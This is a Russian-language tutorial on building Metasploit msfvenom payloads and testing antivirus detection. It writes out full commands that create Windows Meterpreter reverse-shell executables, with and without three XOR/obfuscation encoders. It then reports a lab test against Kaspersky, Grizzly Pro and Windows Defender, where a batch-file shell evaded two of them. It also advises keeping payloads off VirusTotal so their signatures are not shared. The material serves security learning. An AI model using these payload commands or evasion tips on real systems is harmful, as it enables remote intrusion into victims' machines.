Введение
Приветствуем дорогих читателей! В сегодняшней статье ознакомимся с созданием полезных нагрузок при помощи msfvenom, использованием встроенных encoders(средства сокрытия нагрузки) и проверим их эффективность на трёх виртуальных машинах с разным антивирусным ПО.
Дисклеймер: Все данные, предоставленные в статье, взяты из открытых источников. Не призывают к действию и предоставлены только для ознакомления и изучения механизмов используемых технологий.
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)
Создание полезных нагрузок через msfvenom
MsfVenom — это инструмент, который является частью фреймворка Metasploit и используется для создания полезных нагрузок (payloads). Он объединяет функции двух старых инструментов: msfpayload и msfencode. MsfVenom позволяет генерировать различные виды вредоносных полезных нагрузок, которые могут быть использованы для эксплуатации уязвимостей в системах.
Основные возможности MsfVenom:
Создание полезных нагрузок: MsfVenom поддерживает множество типов полезных нагрузок для различных платформ, включая Windows, Linux, macOS и мобильные операционные системы.
Поддержка различных форматов: Полезные нагрузки могут быть экспортированы в различные форматы, такие как исполняемые файлы (EXE), скрипты (PHP, Python), динамические библиотеки (DLL) и многие другие.
Шифрование и обфускация: MsfVenom предлагает опции для шифрования полезных нагрузок и их обфускации, что помогает избежать обнаружения антивирусами.
Генерация однострочных скриптов: MsfVenom может создавать однострочные скрипты, которые легко вставить в другие программы или использовать в веб-эксплойтах.
Пример использования
Чтобы создать простую полезную нагрузку для Windows, можно использовать следующую команду:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe
В этом примере:
- -p
указывает тип полезной нагрузки (в данном случае Meterpreter с обратным TCP).
- LHOST
и LPORT
задают IP-адрес и порт для обратного соединения.
- -f
указывает формат выходного файла (exe).
- -o
задает имя выходного файла.
Встроенные encoders для сокрытия полезной нагрузки от антивирусов
В MsfVenom энкодеры используются для обфускации полезных нагрузок, чтобы сделать их менее заметными для антивирусного программного обеспечения и систем обнаружения вторжений. Энкодеры изменяют байтовый код полезной нагрузки, не меняя ее функциональности, что помогает избежать обнаружения. Давайте рассмотрим три энкодера:
1. x64/xor_context
Использует контекстное XOR-шифрование, изменяя ключ в зависимости от выполнения, что затрудняет обнаружение через статический анализ.. Пример команды для создания полезной нагрузки с использованием этого энкодера:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_context -o payload.exe
2. x64/xor_dynamic
Этот энкодер динамически генерирует ключ XOR во время выполнения, что делает его более устойчивым к анализу и обнаружению.. Пример команды:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_dynamic -o payload.exe
3. x64/zutto_dekiru
Энкодер zutto_dekiru
применяет сложные методы обфускации, включая шифрование и изменение структуры кода, что усложняет анализ.. Пример команды:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe
Пояснения к командам
- -p
: Определяет полезную нагрузку, в данном случае это windows/x64/meterpreter/reverse_tcp
, которая создает обратное соединение с указанным хостом.
- LHOST
: Указывает IP-адрес вашего устройства, на которое будет отправлено обратное соединение.
- LPORT
: Указывает порт, на котором будет слушать ваше устройство.
- -e
: Указывает энкодер, который вы хотите использовать.
- -o
: Указывает имя выходного файла, в который будет записана закодированная полезная нагрузка.
Проверка антивирусами
VirusTotal
Результат очевиден, полезная нагрузка определилась сразу. Для проверки сигнатур нагрузок, делиться подобными онлайн-сканерами плохо, т.к потом они перестают работать и палятся, поэтому забываем про онлайн сервисы подобные VirusTotal.
Виртуальные машины
Для тестирования мы создали три виртуальные машины на ОС Windows 10 Pro и одну под управлением Kali Linux. Создали между всеми машинами одну виртуальную сеть без доступа к интернету(для того чтобы антивирусное ПО не делилось сигнатурами на анализ). В одну машину мы установили антивирус Kaspersky, в другую Grizzly Pro, а третью оставили со стандартным Windows Defender(на двух предыдущих запустили скрипт "no defender" чтобы полностью отключить защитник Windows для чистоты тестирования).
Внутренние IP машин следующие:
Kali Linux - 192.168.56.4
Kaspersky - 192.168.56.5
Grizzly Pro - 192.168.56.6
Windows Defender - 192.168.56.7
Сначала протестируем полезные нагрузки без энкодеров. Для примера возьмём нагрузки dll, exe(обычный шелл и meterpreter) и bat, поместим в архив и скинем на каждую машину.
Как только закинули архив в машину с касперским, он тут же удалил как файлы exe, dll, так и батник без шансов на запуск и восстановление.
Антивирус Grizzly Pro отлично среагировал на файлы exe и dll, но полностью проигнорировал батник, что привело к его запуску и получению удалённого доступа.
Защитник Windows отреагировал идентично Grizzly Pro.
Запускаем батники и получаем удалённый доступ.
Как видим, батники кодировать нет смысла, а вот файлы exe мы прогоним через три криптора про которые упомянули в теоретической части. Таким же образом мы помещаем все 3 шелла в архив и тестируем на всех машинах.
На машине с касперским ситуация идентичная прошлой, все три сигнатуры были моментально удалены.
С антивирусом Grizzly Pro ситуация идентичная.
Машина с Windows Defender опознала все сигнатуры.
Итоги
Для удобства и максимальной наглядности мы составили таблицу сравнения детекта сигнатур из тестов выше и добавили ещё статистику по двум популярным антивирусам (Avast, Dr.Web).
P.S.
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)
LHMedia в телеграме: